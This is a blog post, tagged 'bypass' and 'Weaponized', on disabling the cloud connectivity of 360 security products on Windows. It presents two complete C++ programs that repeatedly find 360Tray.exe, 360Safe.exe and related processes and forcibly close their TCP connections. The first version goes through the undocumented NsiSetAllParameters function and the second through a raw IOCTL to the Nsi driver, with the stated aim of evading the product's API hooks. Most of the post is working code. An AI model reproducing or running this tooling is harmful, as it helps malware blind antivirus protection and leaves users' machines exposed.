Unknown Title

Administrator

Posted on 2025-06-17 / / 35 to read.

0

Uncovering the network outages of digital security products: from SetTcpEntry to NsiSetAllParameters

#bypass#Weaponized

In the current security system, more and more security products (such as digital, etc.) adopt the "cloud dependence" model - core rules, active protection, sample killing are all driven by the cloud. According to the latest silver fox sample, it is found that the blacks have made a targeted disconnection for the number, and once the network connection is lost, its "combat power" will decline rapidly.

We go straight to the topic GetTcpTable(2) and SetTcpEntry

GetTcpTable2 Function https://learn.microsoft.com/en-us/windows/win32/api/iphlpapi/nf-iphlpapi-gettcpttable2

GetTcpTable2 is used to retrieve the system's current TCP connection information (IPv4 and IPv6), including the local address of the connection, the remote address, the state, and so on.

The prototype is as follows:

```
IPHLPAPI_DLL_LINKAGE ULONG GetTcpTable2(
  [out]     PMIB_TCPTABLE2 TcpTable,
  [in, out] PULONG         SizePointer,
  [in]      BOOL           Order
);
```

Description of Parameters:

- `TcpTable`: Pointer to the MIB_TCPTABLE2 structure, saving the returned TCP table.

- `SizePointer`: Input/output parameters, representing the size of the buffer (in bytes). If the buffer is not enough, the function returns ERROR_INSUFFICIENT_BUFFER and returns the desired size through this parameter.
- `Order`: Whether or not is arranged in ascending order according to the local address of the connection.

SetTcpEntry Function https://learn.microsoft.com/en-us/windows/win32/api/iphlpapi/nf-iphlpapi-settcpentry

SetTcpEntry is used to modify the state of an existing TCP connection, such as forcing the connection to be closed (changed to DELETE_TCB state).

The prototype is as follows:

```
IPHLPAPI_DLL_LINKAGE DWORD SetTcpEntry(
  [in] PMIB_TCPROW pTcpRow
);
```

Description of Parameters:

- `pTcpRow`: Pointer to MIB_TCPROW to specify the TCP entry to change.

With the description of these two APIs, it is not difficult to guess that we can get a list of all TCP connections and then filter the connections of specific processes to be forcibly closed, so that all network connections established by a particular program can be precisely disconnected without affecting other programs.

Implement the following logic:

> Get all TCP connections to a process → Find its PID → Iterating Connection → Forced to close the connection.

So let's think about what if SetTcpEntry is dropped by the security product Hook (such as API interception, Inline Hook), then this path will not work? We might as well look at the underlying implementation focus on **SetTcpEntry.**

By disassembling SetTcpEntry in iphlpapi.dll, it can be found that the underlying layer is not directly modifying the TCP table, but relying on it. `NsiSetAllParameters`This is a non-documented Windows internal function that belongs to the API category of the NSI (Network Store Interface) service, which is mainly used to set parameters in the network stack.

The inferred function prototypes are as follows:

```
typedef NTSTATUS (NTAPI* NsiSetAllParameters_t)(
    HANDLE NsiHandle,
    DWORD ObjectIndex,
    DWORD ObjectType,
    PVOID InputBuffer,
    DWORD InputBufferLength,
    PVOID OutputBuffer,
    DWORD OutputBufferLength
);
```

That is, we can manually implement a SetTcpEntry to avoid SetTcpEntry.

We need to pay attention to his parameters, such as NPI_MS_TCP_MODULEID.

This is a GUID structure that identifies the TCP protocol module telling NsiSetAllParameters what kind of protocol data to do. I guess)

Restore is

```
BYTE NPI_MS_TCP_MODULEID[] = { 0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x03, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11, 0x91, 0x23, 0x00, 0x50,
0x04, 0x77, 0x59, 0xBC };
```

Just as I was preparing to rub my hand, I found that my predecessors had already walked in front, and then took a closer look, Emmmm had only lost its memory before.

Achieved as follows:

```
#include <windows.h>
#include <tlhelp32.h>
#include <iphlpapi.h>
#include <iostream>
#include <string>
#include <vector>

#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "Psapi.lib")

// Undocumented TCP module ID for NSI (24 bytes)
BYTE NPI_MS_TCP_MODULEID[] = {
    0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x03, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11,
    0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC
};
```

```
// Structure expected by NsiSetAllParameters to represent a TCP socket
struct TcpKillParamsIPv4 {
    WORD  localAddrFamily;
    WORD  localPort;
    DWORD localAddr;
    BYTE  reserved1[20];

    WORD  remoteAddrFamily;
    WORD  remotePort;
    DWORD remoteAddr;
    BYTE  reserved2[20];
};

// Custom replacement for SetTcpEntry using undocumented NSI API
DWORD MySetTcpEntry(MIB_TCPROW_OWNER_PID* pTcpRow) {
    typedef DWORD(WINAPI* NsiSetAllParameters_t)(
        DWORD, DWORD, LPVOID, DWORD, LPVOID, DWORD, LPVOID, DWORD
        );

    // Load NSI module and resolve function
    HMODULE hNsi = LoadLibraryA("nsi.dll");
    if (!hNsi)
        return 1;

    NsiSetAllParameters_t pNsiSetAllParameters =
        (NsiSetAllParameters_t)GetProcAddress(hNsi, "NsiSetAllParameters");
    if (!pNsiSetAllParameters)
        return 1;

    // Prepare input data for socket termination
    TcpKillParamsIPv4 params = { 0 };
    params.localAddrFamily = AF_INET;
    params.localPort = (WORD)pTcpRow->dwLocalPort;
    params.localAddr = pTcpRow->dwLocalAddr;
    params.remoteAddrFamily = AF_INET;
    params.remotePort = (WORD)pTcpRow->dwRemotePort;
    params.remoteAddr = pTcpRow->dwRemoteAddr;

    // Issue command to kill the TCP connection
    DWORD result = pNsiSetAllParameters(
        1,                              // Unknown / static
        2,                              // Action code
        (LPVOID)NPI_MS_TCP_MODULEID,   // TCP module identifier
        16,                             // IO code (guessed)
        &params, sizeof(params),       // Input buffer
        nullptr, 0                     // Output buffer (unused)
    );

    return result;
}

std::vector<DWORD> GetPidsByProcessName(const std::wstring& processName) {
    std::vector<DWORD> pids;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] CreateToolhelp32Snapshot failed.\\n");
        return pids;
    }

    PROCESSENTRY32W pe;
    pe.dwSize = sizeof(pe);
    if (!Process32FirstW(snapshot, &pe)) {
        CloseHandle(snapshot);
        wprintf(L"[!] Process32FirstW failed.\\n");
        return pids;
    }

    do {
        if (processName == pe.szExeFile) {
            pids.push_back(pe.th32ProcessID);
            wprintf(L"[+] Found process: %s (PID: %lu)\\n", pe.szExeFile,
pe.th32ProcessID);
        }
    } while (Process32NextW(snapshot, &pe));

    CloseHandle(snapshot);
    return pids;
}

void CloseTcpConnectionsByPid(DWORD pid) {
    DWORD size = 0;
    PMIB_TCPTABLE2 tcpTable = nullptr;

    if (GetTcpTable2(nullptr, &size, TRUE) != ERROR_INSUFFICIENT_BUFFER) {
        wprintf(L"[!] Failed to query TCP table size.\\n");
        return;
    }

    tcpTable = (PMIB_TCPTABLE2)malloc(size);
    if (!tcpTable) {
        wprintf(L"[!] Memory allocation failed.\\n");
        return;
    }

    if (GetTcpTable2(tcpTable, &size, TRUE) != NO_ERROR) {
        free(tcpTable);
        wprintf(L"[!] Failed to get TCP table.\\n");
        return;
    }

    int closedCount = 0;
    for (DWORD i = 0; i < tcpTable->dwNumEntries; ++i) {
        MIB_TCPROW2& row = tcpTable->table[i];
        if (row.dwOwningPid == pid && row.dwState == MIB_TCP_STATE_ESTAB) {
            MIB_TCPROW2 rowToSet = row;
            rowToSet.dwState = MIB_TCP_STATE_DELETE_TCB;

            DWORD result = MySetTcpEntry((MIB_TCPROW_OWNER_PID*)&row);
            if (result == NO_ERROR) {
                closedCount++;
                IN_ADDR localAddr = { row.dwLocalAddr };
                IN_ADDR remoteAddr = { row.dwRemoteAddr };
                wprintf(L"    [-] Closed TCP connection: %S:%d -> %S:%d\\n",
                    inet_ntoa(localAddr), ntohs((u_short)row.dwLocalPort),
                    inet_ntoa(remoteAddr), ntohs((u_short)row.dwRemotePort));
            }
            else {
                wprintf(L"    [!] Failed to close connection. Error code:
%lu\\n", result);
            }
        }
    }
    if (closedCount > 0) {
        wprintf(L"[=] Closed %d connections for PID %lu\\n", closedCount,
pid);
    }

    free(tcpTable);
}

int wmain(int argc, wchar_t* argv[]) {
    std::vector<std::wstring> targetProcs = { L"360Tray.exe", L"360Safe.exe",
L"LiveUpdate360.exe", L"safesvr.exe", L"360leakfixer.exe"};

    wprintf(L"[*] Starting connection monitor...\\n");

    while (true) {
        for (const auto& procName : targetProcs) {
            std::vector<DWORD> pids = GetPidsByProcessName(procName);
            for (DWORD pid : pids) {
                CloseTcpConnectionsByPid(pid);
            }
        }
    }

    return 0;
}
```

In this way, we can implement a slightly lower-level small toy, and still maintain blocking the network.

We call NsiSetAllParameters in nsi.dll. But the essence of this function is:

> Construct a struct → Call NtDeviceIoControlFile → and \\. \Nsi driver communication → Let the kernel modify the TCP state

All we have to do now is: skip nsi.dll, do not rely on its encapsulation, to implement the process on its own.

NsiSetAllParameters actually propagate a 0x48 byte structure, which consists of the following (I wrote it blindly):

```
struct NSI_SET_PARAMETERS_EX {
    PVOID reserved0;     // 0x00
    PVOID reserved1;     // 0x08
    PVOID pModuleId;      // 0x10 - 指向 TCP 模块 ID (GUID结构或BYTE数组)
    DWORD dwIoCode;       // 0x18 - 固定 16
    DWORD dwUnused1;      // 0x1C
    DWORD a1;             // 0x20
    DWORD a2;             // 0x24
    PVOID pInputBuffer;   // 0x28
    DWORD cbInputBuffer; // 0x30
    DWORD dwUnused2;      // 0x34
    PVOID pMetricBuffer; // 0x38
    DWORD cbMetricBuffer;// 0x40
    DWORD dwUnused3;      // 0x44
};
```

The process we plan is:

```
构造 NSI_SET_PARAMETERS_EX →
  调用 NtDeviceIoControlFile →
    操作 \\Device\\Nsi →
      执行协议堆栈层断网
```

In a crypt we can understand:

- The underlying communication mechanism of the Windows network stack is open (device interface, protocol module)
- As long as you master the structure and call mode, you can control the life and death of the network connection.

It is good to omit my sad process here, directly on the result:

```
#include <windows.h>
#include <tlhelp32.h>
#include <iphlpapi.h>
#include <iostream>
#include <string>
#include <vector>

#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "Psapi.lib")
```

```
// --------------------------------------------
// Dynamic NT Native Function Pointers
// --------------------------------------------

typedef NTSTATUS(WINAPI* NtDeviceIoControlFile_t)(
    HANDLE, HANDLE, PVOID, PVOID,
    PVOID, ULONG, PVOID, ULONG, PVOID, ULONG);

typedef NTSTATUS(WINAPI* NtWaitForSingleObject_t)(
    HANDLE, BOOLEAN, PLARGE_INTEGER);

typedef ULONG(WINAPI* RtlNtStatusToDosError_t)(NTSTATUS);

// Global function pointers
NtDeviceIoControlFile_t pNtDeviceIoControlFile = nullptr;
NtWaitForSingleObject_t pNtWaitForSingleObject = nullptr;
RtlNtStatusToDosError_t pRtlNtStatusToDosError = nullptr;

//IO_STATUS_BLOCK
typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef struct _NSI_SET_PARAMETERS_EX {
    PVOID Reserved0;          // 0x00
    PVOID Reserved1;          // 0x08
    PVOID ModuleId;           // 0x10
    DWORD IoCode;             // 0x18
    DWORD Unused1;            // 0x1C
    DWORD Param1;             // 0x20
    DWORD Param2;             // 0x24
    PVOID InputBuffer;        // 0x28
    DWORD InputBufferSize;    // 0x30
    DWORD Unused2;            // 0x34
    PVOID MetricBuffer;       // 0x38
    DWORD MetricBufferSize;   // 0x40
    DWORD Unused3;            // 0x44
} NSI_SET_PARAMETERS_EX;

bool LoadNtFunctions() {
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    if (!ntdll) return false;

    pNtDeviceIoControlFile = (NtDeviceIoControlFile_t)GetProcAddress(ntdll,
"NtDeviceIoControlFile");
    pNtWaitForSingleObject = (NtWaitForSingleObject_t)GetProcAddress(ntdll,
"NtWaitForSingleObject");
    pRtlNtStatusToDosError = (RtlNtStatusToDosError_t)GetProcAddress(ntdll,
"RtlNtStatusToDosError");

    return pNtDeviceIoControlFile && pNtWaitForSingleObject &&
pRtlNtStatusToDosError;
}

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

ULONG NsiIoctl(
    DWORD dwIoControlCode,
    LPVOID lpInBuffer,
    DWORD nInBufferSize,
    LPVOID lpOutBuffer,
    LPDWORD lpBytesReturned,
    LPOVERLAPPED lpOverlapped
) {
    static HANDLE hDevice = INVALID_HANDLE_VALUE;
    if (hDevice == INVALID_HANDLE_VALUE) {
        HANDLE h = CreateFileW(L"\\\\\\\\.\\\\Nsi", 0, FILE_SHARE_READ |
FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
        if (h == INVALID_HANDLE_VALUE)
            return GetLastError();
        if (InterlockedCompareExchangePointer(&hDevice, h,
INVALID_HANDLE_VALUE) != INVALID_HANDLE_VALUE)
            CloseHandle(h);
    }

    if (lpOverlapped) {
        if (!DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer,
nInBufferSize,
            lpOutBuffer, *lpBytesReturned, lpBytesReturned, lpOverlapped)) {
            return GetLastError();
        }
        return 0;
    }

    HANDLE hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);
    if (!hEvent) return GetLastError();

    IO_STATUS_BLOCK ioStatus = { 0 };
    NTSTATUS status = pNtDeviceIoControlFile(
        hDevice,
        hEvent,
        nullptr, nullptr,
        &ioStatus,
        dwIoControlCode,
        lpInBuffer,
        nInBufferSize,
        lpOutBuffer,
        *lpBytesReturned
    );

    if (status == STATUS_PENDING) {
        status = pNtWaitForSingleObject(hEvent, FALSE, nullptr);
        if (NT_SUCCESS(status))
            status = ioStatus.Status;
    }

    CloseHandle(hEvent);
    if (!NT_SUCCESS(status))
        return pRtlNtStatusToDosError(status);

    *lpBytesReturned = (DWORD)ioStatus.Information;
    return 0;
}

ULONG MyNsiSetAllParameters(
    DWORD a1,
    DWORD a2,
    PVOID pModuleId,
    DWORD dwIoCode,
    PVOID pInputBuffer,
    DWORD cbInputBuffer,
    PVOID pMetricBuffer,
    DWORD cbMetricBuffer
) {
    NSI_SET_PARAMETERS_EX params = { 0 };
    DWORD cbReturned = sizeof(params);

    params.ModuleId = pModuleId;
    params.IoCode = dwIoCode;
    params.Param1 = a1;
    params.Param2 = a2;
    params.InputBuffer = pInputBuffer;
    params.InputBufferSize = cbInputBuffer;
    params.MetricBuffer = pMetricBuffer;
    params.MetricBufferSize = cbMetricBuffer;

    return NsiIoctl(
        0x120013,               // IOCTL code
        &params,
        sizeof(params),
        &params,
        &cbReturned,
        nullptr
    );
}

// Undocumented TCP module ID for NSI (24 bytes)
BYTE NPI_MS_TCP_MODULEID[] = {
    0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x03, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11,
    0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC
};

// Structure expected by NsiSetAllParameters to represent a TCP socket
struct TcpKillParamsIPv4 {
    WORD  localAddrFamily;
    WORD  localPort;
    DWORD localAddr;
    BYTE  reserved1[20];
    WORD  remoteAddrFamily;
    WORD  remotePort;
    DWORD remoteAddr;
    BYTE  reserved2[20];
};

// Custom replacement for SetTcpEntry using undocumented NSI API
DWORD MySetTcpEntry(MIB_TCPROW_OWNER_PID* pTcpRow) {

    // Prepare input data for socket termination
    TcpKillParamsIPv4 params = { 0 };
    params.localAddrFamily = AF_INET;
    params.localPort = (WORD)pTcpRow->dwLocalPort;
    params.localAddr = pTcpRow->dwLocalAddr;
    params.remoteAddrFamily = AF_INET;
    params.remotePort = (WORD)pTcpRow->dwRemotePort;
    params.remoteAddr = pTcpRow->dwRemoteAddr;

    // Issue command to kill the TCP connection
    DWORD result = MyNsiSetAllParameters(
        1,                              // Unknown / static
        2,                              // Action code
        (LPVOID)NPI_MS_TCP_MODULEID,   // TCP module identifier
        16,                             // IO code (guessed)
        &params, sizeof(params),       // Input buffer
        nullptr, 0                     // Output buffer (unused)
    );

    return result;
}

std::vector<DWORD> GetPidsByProcessName(const std::wstring& processName) {
    std::vector<DWORD> pids;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] CreateToolhelp32Snapshot failed.\\n");
        return pids;
    }

    PROCESSENTRY32W pe;
    pe.dwSize = sizeof(pe);
    if (!Process32FirstW(snapshot, &pe)) {
        CloseHandle(snapshot);
        wprintf(L"[!] Process32FirstW failed.\\n");
        return pids;
    }

    do {
        if (processName == pe.szExeFile) {
            pids.push_back(pe.th32ProcessID);
            wprintf(L"[+] Found process: %s (PID: %lu)\\n", pe.szExeFile,
pe.th32ProcessID);
        }
    } while (Process32NextW(snapshot, &pe));

    CloseHandle(snapshot);
    return pids;
}

void CloseTcpConnectionsByPid(DWORD pid) {
    DWORD size = 0;
    PMIB_TCPTABLE2 tcpTable = nullptr;

    if (GetTcpTable2(nullptr, &size, TRUE) != ERROR_INSUFFICIENT_BUFFER) {
        wprintf(L"[!] Failed to query TCP table size.\\n");
        return;
    }

    tcpTable = (PMIB_TCPTABLE2)malloc(size);
    if (!tcpTable) {
        wprintf(L"[!] Memory allocation failed.\\n");
        return;
    }

    if (GetTcpTable2(tcpTable, &size, TRUE) != NO_ERROR) {
        free(tcpTable);
        wprintf(L"[!] Failed to get TCP table.\\n");
        return;
    }

    int closedCount = 0;
    for (DWORD i = 0; i < tcpTable->dwNumEntries; ++i) {
        MIB_TCPROW2& row = tcpTable->table[i];
        if (row.dwOwningPid == pid && row.dwState == MIB_TCP_STATE_ESTAB) {
            MIB_TCPROW2 rowToSet = row;
            rowToSet.dwState = MIB_TCP_STATE_DELETE_TCB;

            DWORD result = MySetTcpEntry((MIB_TCPROW_OWNER_PID*)&row);
            if (result == NO_ERROR) {
                closedCount++;
                IN_ADDR localAddr = { row.dwLocalAddr };
                IN_ADDR remoteAddr = { row.dwRemoteAddr };
                wprintf(L"    [-] Closed TCP connection: %S:%d -> %S:%d\\n",
                    inet_ntoa(localAddr), ntohs((u_short)row.dwLocalPort),
                    inet_ntoa(remoteAddr), ntohs((u_short)row.dwRemotePort));
            }
            else {
                wprintf(L"    [!] Failed to close connection. Error code:
%lu\\n", result);
            }
        }
    }

    if (closedCount > 0) {
        wprintf(L"[=] Closed %d connections for PID %lu\\n", closedCount,
pid);
    }

    free(tcpTable);
}

int wmain(int argc, wchar_t* argv[]) {

    LoadNtFunctions();

    std::vector<std::wstring> targetProcs = { L"360Tray.exe", L"360Safe.exe",
L"LiveUpdate360.exe", L"safesvr.exe", L"360leakfixer.exe"};

    wprintf(L"[*] Starting connection monitor...\\n");

    while (true) {
        for (const auto& procName : targetProcs) {
            std::vector<DWORD> pids = GetPidsByProcessName(procName);
            for (DWORD pid : pids) {
                CloseTcpConnectionsByPid(pid);
            }
        }
    }

    return 0;
}
```

Now we have a low-level SetTcpEntry, and the ability to circumvent is greatly improved.